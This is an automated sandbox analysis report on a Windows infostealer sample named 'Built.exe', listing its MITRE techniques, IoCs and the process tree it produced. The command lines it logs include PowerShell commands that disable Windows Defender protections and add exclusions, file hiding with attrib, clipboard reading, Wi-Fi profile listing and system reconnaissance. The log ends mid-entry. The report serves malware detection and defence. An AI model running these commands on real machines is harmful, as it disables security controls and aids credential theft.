5678f1fa44803a8cab5118254b2cc7b4b183e9816490a30614af189b0ccf772b

Analysis

max time kernel
94s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
26-11-2024 00:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Built.exe
Size

7.6MB
MD5

4b64286b5aa7f6296bf33d84221f55b7
SHA1

f67b0ce81712e2c5ac20edde53138048051ebb56
SHA256

e71b44183dc6897a0430b48c1b73b6cd0d46b6a18576f3eed6a9cbd35abf6421
SHA512

7e8aeb1cb6ecb251db63f5b832d16c75a3010efa68c34b863be70c59c9659885b0e2208bc5e221aebdf7ccfade7a5443f409b96303d78a2e09e605028aaf0a18
SSDEEP

196608:yW0iiUQeNTfm/pf+xk4duQr0lRpmrbW3jmr3:by/pWu4BiRpmrbmyr3

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

1604 powershell.exe
3468 powershell.exe
3124 powershell.exe
3860 powershell.exe
804 powershell.exe

pid	process
1604	powershell.exe
3468	powershell.exe
3124	powershell.exe
3860	powershell.exe
804	powershell.exe

Drops file in Drivers directory 3 IoCs

Processes:

attrib.exeBuilt.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Built.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
collection

Clipboard Data
T1115

Processes:

cmd.exepowershell.exe

pid process

4548 cmd.exe
4656 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

rar.exe

pid process

3092 rar.exe

pid	process
4548	cmd.exe
4656	powershell.exe

pid	process
3092	rar.exe

Loads dropped DLL 18 IoCs

Processes:

Built.exe

pid	process
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe
1136	Built.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

32 discord.com
33 discord.com
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

22 ip-api.com
30 ip-api.com
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates processes with tasklist 1 TTPs 5 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exe

pid process

4988 tasklist.exe
1052 tasklist.exe
5072 tasklist.exe
3992 tasklist.exe
4868 tasklist.exe
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
defense_evasion

Hidden Files and Directories
T1564.001

Processes:

cmd.exe

pid process

4308 cmd.exe

flow	ioc
32	discord.com
33	discord.com

flow	ioc
22	ip-api.com
30	ip-api.com

pid	process
4988	tasklist.exe
1052	tasklist.exe
5072	tasklist.exe
3992	tasklist.exe
4868	tasklist.exe

pid	process
4308	cmd.exe

UPX packed file 60 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI40082\python311.dll	upx
behavioral1/memory/1136-38-0x00007FFC802D0000-0x00007FFC808B8000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_ctypes.pyd	upx
behavioral1/memory/1136-42-0x00007FFC93290000-0x00007FFC932B4000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\libffi-8.dll	upx
behavioral1/memory/1136-45-0x00007FFC98DE0000-0x00007FFC98DEF000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_ssl.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_sqlite3.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_socket.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_queue.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_lzma.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_hashlib.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_decimal.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_bz2.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\unicodedata.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\sqlite3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\select.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\libssl-1_1.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40082\libcrypto-1_1.dll	upx
behavioral1/memory/1136-77-0x00007FFC8ADA0000-0x00007FFC8ADCD000-memory.dmp	upx
behavioral1/memory/1136-79-0x00007FFC8E820000-0x00007FFC8E839000-memory.dmp	upx
behavioral1/memory/1136-81-0x00007FFC8A9C0000-0x00007FFC8A9E3000-memory.dmp	upx
behavioral1/memory/1136-83-0x00007FFC80150000-0x00007FFC802C3000-memory.dmp	upx
behavioral1/memory/1136-85-0x00007FFC95680000-0x00007FFC95699000-memory.dmp	upx
behavioral1/memory/1136-87-0x00007FFC8F720000-0x00007FFC8F72D000-memory.dmp	upx
behavioral1/memory/1136-89-0x00007FFC8F6F0000-0x00007FFC8F71E000-memory.dmp	upx
behavioral1/memory/1136-93-0x00007FFC802D0000-0x00007FFC808B8000-memory.dmp	upx
behavioral1/memory/1136-97-0x00007FFC93290000-0x00007FFC932B4000-memory.dmp	upx
behavioral1/memory/1136-96-0x00007FFC7F870000-0x00007FFC7FBE5000-memory.dmp	upx
behavioral1/memory/1136-104-0x00007FFC7F750000-0x00007FFC7F86C000-memory.dmp	upx
behavioral1/memory/1136-102-0x00007FFC8F6C0000-0x00007FFC8F6CD000-memory.dmp	upx
behavioral1/memory/1136-101-0x00007FFC8ADA0000-0x00007FFC8ADCD000-memory.dmp	upx
behavioral1/memory/1136-99-0x00007FFC8F6D0000-0x00007FFC8F6E4000-memory.dmp	upx
behavioral1/memory/1136-94-0x00007FFC8A330000-0x00007FFC8A3E8000-memory.dmp	upx
behavioral1/memory/1136-105-0x00007FFC8A9C0000-0x00007FFC8A9E3000-memory.dmp	upx
behavioral1/memory/1136-119-0x00007FFC80150000-0x00007FFC802C3000-memory.dmp	upx
behavioral1/memory/1136-135-0x00007FFC95680000-0x00007FFC95699000-memory.dmp	upx
behavioral1/memory/1136-148-0x00007FFC8F6F0000-0x00007FFC8F71E000-memory.dmp	upx
behavioral1/memory/1136-214-0x00007FFC8A330000-0x00007FFC8A3E8000-memory.dmp	upx
behavioral1/memory/1136-263-0x00007FFC7F870000-0x00007FFC7FBE5000-memory.dmp	upx
behavioral1/memory/1136-289-0x00007FFC802D0000-0x00007FFC808B8000-memory.dmp	upx
behavioral1/memory/1136-298-0x00007FFC8F6F0000-0x00007FFC8F71E000-memory.dmp	upx
behavioral1/memory/1136-295-0x00007FFC80150000-0x00007FFC802C3000-memory.dmp	upx
behavioral1/memory/1136-290-0x00007FFC93290000-0x00007FFC932B4000-memory.dmp	upx
behavioral1/memory/1136-334-0x00007FFC802D0000-0x00007FFC808B8000-memory.dmp	upx
behavioral1/memory/1136-349-0x00007FFC802D0000-0x00007FFC808B8000-memory.dmp	upx
behavioral1/memory/1136-374-0x00007FFC8A330000-0x00007FFC8A3E8000-memory.dmp	upx
behavioral1/memory/1136-373-0x00007FFC8F6F0000-0x00007FFC8F71E000-memory.dmp	upx
behavioral1/memory/1136-372-0x00007FFC8F720000-0x00007FFC8F72D000-memory.dmp	upx
behavioral1/memory/1136-371-0x00007FFC95680000-0x00007FFC95699000-memory.dmp	upx
behavioral1/memory/1136-370-0x00007FFC80150000-0x00007FFC802C3000-memory.dmp	upx
behavioral1/memory/1136-369-0x00007FFC8A9C0000-0x00007FFC8A9E3000-memory.dmp	upx
behavioral1/memory/1136-368-0x00007FFC8E820000-0x00007FFC8E839000-memory.dmp	upx
behavioral1/memory/1136-367-0x00007FFC8ADA0000-0x00007FFC8ADCD000-memory.dmp	upx
behavioral1/memory/1136-366-0x00007FFC98DE0000-0x00007FFC98DEF000-memory.dmp	upx
behavioral1/memory/1136-365-0x00007FFC93290000-0x00007FFC932B4000-memory.dmp	upx
behavioral1/memory/1136-364-0x00007FFC7F870000-0x00007FFC7FBE5000-memory.dmp	upx
behavioral1/memory/1136-363-0x00007FFC7F750000-0x00007FFC7F86C000-memory.dmp	upx
behavioral1/memory/1136-362-0x00007FFC8F6C0000-0x00007FFC8F6CD000-memory.dmp	upx
behavioral1/memory/1136-361-0x00007FFC8F6D0000-0x00007FFC8F6E4000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXE

pid process

1988 cmd.exe
2860 PING.EXE
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

cmd.exenetsh.exe

pid process

884 cmd.exe
1852 netsh.exe
Detects videocard installed 1 TTPs 3 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exeWMIC.exeWMIC.exe

pid process

1208 WMIC.exe
3484 WMIC.exe
5068 WMIC.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

2464 systeminfo.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2860 PING.EXE

pid	process
1988	cmd.exe
2860	PING.EXE

pid	process
884	cmd.exe
1852	netsh.exe

pid	process
1208	WMIC.exe
3484	WMIC.exe
5068	WMIC.exe

pid	process
2464	systeminfo.exe

pid	process
2860	PING.EXE

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3860	powershell.exe
1604	powershell.exe
3860	powershell.exe
1604	powershell.exe
804	powershell.exe
804	powershell.exe
4656	powershell.exe
4656	powershell.exe
5080	powershell.exe
5080	powershell.exe
5080	powershell.exe
4656	powershell.exe
3468	powershell.exe
3468	powershell.exe
2436	powershell.exe
2436	powershell.exe
3124	powershell.exe
3124	powershell.exe
4140	powershell.exe
4140	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exetasklist.exeWMIC.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	4988	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4340	WMIC.exe
Token: SeSecurityPrivilege	4340	WMIC.exe
Token: SeTakeOwnershipPrivilege	4340	WMIC.exe
Token: SeLoadDriverPrivilege	4340	WMIC.exe
Token: SeSystemProfilePrivilege	4340	WMIC.exe
Token: SeSystemtimePrivilege	4340	WMIC.exe
Token: SeProfSingleProcessPrivilege	4340	WMIC.exe
Token: SeIncBasePriorityPrivilege	4340	WMIC.exe
Token: SeCreatePagefilePrivilege	4340	WMIC.exe
Token: SeBackupPrivilege	4340	WMIC.exe
Token: SeRestorePrivilege	4340	WMIC.exe
Token: SeShutdownPrivilege	4340	WMIC.exe
Token: SeDebugPrivilege	4340	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4340	WMIC.exe
Token: SeRemoteShutdownPrivilege	4340	WMIC.exe
Token: SeUndockPrivilege	4340	WMIC.exe
Token: SeManageVolumePrivilege	4340	WMIC.exe
Token: 33	4340	WMIC.exe
Token: 34	4340	WMIC.exe
Token: 35	4340	WMIC.exe
Token: 36	4340	WMIC.exe
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeIncreaseQuotaPrivilege	4340	WMIC.exe
Token: SeSecurityPrivilege	4340	WMIC.exe
Token: SeTakeOwnershipPrivilege	4340	WMIC.exe
Token: SeLoadDriverPrivilege	4340	WMIC.exe
Token: SeSystemProfilePrivilege	4340	WMIC.exe
Token: SeSystemtimePrivilege	4340	WMIC.exe
Token: SeProfSingleProcessPrivilege	4340	WMIC.exe
Token: SeIncBasePriorityPrivilege	4340	WMIC.exe
Token: SeCreatePagefilePrivilege	4340	WMIC.exe
Token: SeBackupPrivilege	4340	WMIC.exe
Token: SeRestorePrivilege	4340	WMIC.exe
Token: SeShutdownPrivilege	4340	WMIC.exe
Token: SeDebugPrivilege	4340	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4340	WMIC.exe
Token: SeRemoteShutdownPrivilege	4340	WMIC.exe
Token: SeUndockPrivilege	4340	WMIC.exe
Token: SeManageVolumePrivilege	4340	WMIC.exe
Token: 33	4340	WMIC.exe
Token: 34	4340	WMIC.exe
Token: 35	4340	WMIC.exe
Token: 36	4340	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1208	WMIC.exe
Token: SeSecurityPrivilege	1208	WMIC.exe
Token: SeTakeOwnershipPrivilege	1208	WMIC.exe
Token: SeLoadDriverPrivilege	1208	WMIC.exe
Token: SeSystemProfilePrivilege	1208	WMIC.exe
Token: SeSystemtimePrivilege	1208	WMIC.exe
Token: SeProfSingleProcessPrivilege	1208	WMIC.exe
Token: SeIncBasePriorityPrivilege	1208	WMIC.exe
Token: SeCreatePagefilePrivilege	1208	WMIC.exe
Token: SeBackupPrivilege	1208	WMIC.exe
Token: SeRestorePrivilege	1208	WMIC.exe
Token: SeShutdownPrivilege	1208	WMIC.exe
Token: SeDebugPrivilege	1208	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1208	WMIC.exe
Token: SeRemoteShutdownPrivilege	1208	WMIC.exe
Token: SeUndockPrivilege	1208	WMIC.exe
Token: SeManageVolumePrivilege	1208	WMIC.exe
Token: 33	1208	WMIC.exe
Token: 34	1208	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Built.exeBuilt.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4008 wrote to memory of 1136	4008	Built.exe	Built.exe
PID 4008 wrote to memory of 1136	4008	Built.exe	Built.exe
PID 1136 wrote to memory of 3160	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 3160	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 4260	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 4260	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 2316	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 2316	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 540	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 540	1136	Built.exe	cmd.exe
PID 3160 wrote to memory of 3860	3160	cmd.exe	powershell.exe
PID 3160 wrote to memory of 3860	3160	cmd.exe	powershell.exe
PID 2316 wrote to memory of 4988	2316	cmd.exe	tasklist.exe
PID 2316 wrote to memory of 4988	2316	cmd.exe	tasklist.exe
PID 540 wrote to memory of 4340	540	cmd.exe	WMIC.exe
PID 540 wrote to memory of 4340	540	cmd.exe	WMIC.exe
PID 4260 wrote to memory of 1604	4260	cmd.exe	powershell.exe
PID 4260 wrote to memory of 1604	4260	cmd.exe	powershell.exe
PID 1136 wrote to memory of 1040	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 1040	1136	Built.exe	cmd.exe
PID 1040 wrote to memory of 744	1040	cmd.exe	reg.exe
PID 1040 wrote to memory of 744	1040	cmd.exe	reg.exe
PID 1136 wrote to memory of 976	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 976	1136	Built.exe	cmd.exe
PID 976 wrote to memory of 4888	976	cmd.exe	reg.exe
PID 976 wrote to memory of 4888	976	cmd.exe	reg.exe
PID 1136 wrote to memory of 452	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 452	1136	Built.exe	cmd.exe
PID 452 wrote to memory of 1208	452	cmd.exe	WMIC.exe
PID 452 wrote to memory of 1208	452	cmd.exe	WMIC.exe
PID 1136 wrote to memory of 3700	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 3700	1136	Built.exe	cmd.exe
PID 3700 wrote to memory of 3484	3700	cmd.exe	WMIC.exe
PID 3700 wrote to memory of 3484	3700	cmd.exe	WMIC.exe
PID 1136 wrote to memory of 4308	1136	Built.exe	Conhost.exe
PID 1136 wrote to memory of 4308	1136	Built.exe	Conhost.exe
PID 1136 wrote to memory of 640	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 640	1136	Built.exe	cmd.exe
PID 4308 wrote to memory of 3548	4308	cmd.exe	attrib.exe
PID 4308 wrote to memory of 3548	4308	cmd.exe	attrib.exe
PID 640 wrote to memory of 804	640	cmd.exe	powershell.exe
PID 640 wrote to memory of 804	640	cmd.exe	powershell.exe
PID 1136 wrote to memory of 4444	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 4444	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 4508	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 4508	1136	Built.exe	cmd.exe
PID 4508 wrote to memory of 1052	4508	cmd.exe	tasklist.exe
PID 4508 wrote to memory of 1052	4508	cmd.exe	tasklist.exe
PID 4444 wrote to memory of 5072	4444	cmd.exe	tasklist.exe
PID 4444 wrote to memory of 5072	4444	cmd.exe	tasklist.exe
PID 1136 wrote to memory of 1332	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 1332	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 4548	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 4548	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 2020	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 2020	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 1368	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 1368	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 1348	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 1348	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 884	1136	Built.exe	cmd.exe
PID 1136 wrote to memory of 884	1136	Built.exe	cmd.exe
PID 1368 wrote to memory of 532	1368	cmd.exe	tree.com
PID 1368 wrote to memory of 532	1368	cmd.exe	tree.com

Views/modifies file attributes 1 TTPs 3 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exeattrib.exe

pid process

3548 attrib.exe
4940 attrib.exe
4112 attrib.exe

pid	process
3548	attrib.exe
4940	attrib.exe
4112	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Users\Admin\AppData\Local\Temp\Built.exe
  "C:\Users\Admin\AppData\Local\Temp\Built.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3160
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2316
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:540
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1040
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:976
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:4888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:452
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious use of AdjustPrivilegeToken
      PID:1208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3700
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:3484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4308
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      4⤵
      Views/modifies file attributes
      PID:3548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4444
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4508
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    PID:1332
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:2364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:4656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:2020
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1368
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:1348
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:2464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:884
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:3620
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:2284
- - C:\Windows\system32\cmd.exe
